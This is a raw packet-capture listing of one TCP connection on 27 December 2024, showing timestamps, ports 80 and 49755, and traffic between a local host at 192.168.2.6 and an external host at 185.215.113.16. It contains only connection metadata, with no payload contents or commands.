Dec 27, 2024 15:05:47.749645948 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.749701023 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.753297091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.753348112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.753396034 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.850985050 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.851106882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.851218939 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.852503061 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.852705002 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.852773905 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.855691910 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.855755091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.855797052 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.858791113 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.858896017 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.858948946 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.862004042 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.862072945 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.862123966 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.864978075 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.865156889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.865206003 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.867871046 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.867989063 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.868036032 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.870778084 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.871002913 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.871057034 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.873708010 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.873763084 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.873815060 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.876522064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.876748085 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.876806021 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.879389048 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.879401922 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.879452944 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.882097006 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.882180929 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.882235050 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.884840012 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.884852886 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.884917974 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.887412071 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.887489080 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.887535095 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.890069008 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.890212059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.890264034 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.892817974 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.892931938 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.892981052 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.895489931 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.895612001 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.895658970 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.898190022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.898262978 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.898307085 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.900966883 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.901051044 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.901101112 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.903637886 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.903717995 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.903769016 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.906332970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.906440020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.906486988 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.909096956 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.909136057 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.909185886 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.911828995 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.911863089 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.911906004 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.914417028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.914515018 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.914571047 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.917112112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.917280912 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.917332888 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.920109034 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.920170069 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.920222044 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.922568083 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.922662973 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.922714949 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.925340891 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.925446033 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.925498962 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.927994967 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.928071976 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.928126097 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.930664062 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.930769920 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.930820942 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.933437109 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.933521986 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.933578968 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.936201096 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.936253071 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.936304092 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.938819885 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.938919067 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.938977003 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.941660881 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.941718102 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.941771030 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.944246054 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.944478035 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.944530010 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.946942091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.947099924 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.947151899 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.949685097 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.949837923 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.949899912 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.952573061 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.952585936 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.952642918 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.955035925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.955118895 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.955176115 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.957916975 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.958003044 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.958058119 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.960515976 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.960695028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.960747957 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.963327885 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.963356972 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.963429928 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.965909004 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.965948105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.966165066 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.968636990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.968728065 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.968818903 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.971323967 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.971493959 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.971560955 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.974241018 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.974355936 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.974422932 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.976766109 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.976835966 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.976895094 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.979424000 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.979583025 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:47.979620934 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:47.982117891 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.024872065 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.043059111 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.043138027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.043190956 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.044039011 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.044132948 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.044168949 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.048352957 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.048405886 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.048417091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.048446894 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.048466921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.048499107 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.050178051 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.050275087 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.050321102 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.052387953 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.052555084 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.052601099 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.054508924 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.054646969 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.054687023 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.056679964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.056772947 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.056809902 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.058693886 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.058830976 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.058881044 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.060822964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.060837984 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.060882092 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.062755108 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.062791109 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.062828064 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.064723015 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.064902067 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.064935923 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.066766977 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.066914082 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.066947937 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.068631887 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.068726063 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.068768978 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.070518017 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.070560932 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.070594072 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.072453022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.072676897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.072716951 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.074419022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.074522972 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.074556112 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.076183081 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.076297045 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.076332092 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.078088045 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.078195095 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.078238010 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.079835892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.079900980 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.079936028 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.081693888 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.081758022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.081795931 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.083460093 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.083575964 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.083620071 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.085309982 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.085393906 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.085437059 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.087115049 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.087191105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.087239027 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.088797092 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.088825941 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.088876963 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.090533972 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.090610027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.090943098 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.092406034 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.092417955 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.092452049 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.093961000 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.094702005 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.094767094 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.095774889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.095788002 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.095840931 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.097337961 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.097479105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.097524881 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.099117041 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.099245071 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.099292040 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.100743055 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.100846052 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.100893021 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.101798058 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.101910114 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.101958990 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.102708101 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.102744102 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.102794886 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.103565931 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.103673935 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.103715897 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.104521990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.104638100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.104677916 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.105562925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.105611086 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.105648041 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.106496096 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.106662035 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.106710911 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.107532024 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.107748985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.107789993 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.108388901 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.108454943 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.108495951 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.109383106 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.109431028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.109467983 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.110311985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.110369921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.110409021 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.111253023 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.111352921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.111402035 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.112380981 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.112392902 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.112432003 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.113223076 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.113234043 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.113270044 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.114176989 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.114233971 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.114279985 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.115166903 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.115181923 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.115236044 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.116111040 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.116123915 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.116161108 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.117038965 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.117050886 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.117096901 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.118036985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.118048906 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.118091106 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.119050026 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.119061947 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.119111061 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.119937897 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.119950056 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.119982004 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.122003078 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.165522099 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.235091925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.235321999 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.235335112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.235400915 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.236295938 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.236352921 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.236418009 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.236429930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.236474037 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.237322092 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.237334013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.237375021 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.238290071 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.238301992 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.238334894 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.239371061 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.240000963 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.240046978 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.240292072 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.240662098 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.240704060 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.241102934 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.241224051 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.241269112 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.242137909 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.242269993 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.242311954 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.242921114 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.243052006 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:48.243092060 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:48.243943930 CET	80	49755	185.215.113.16	192.168.2.6
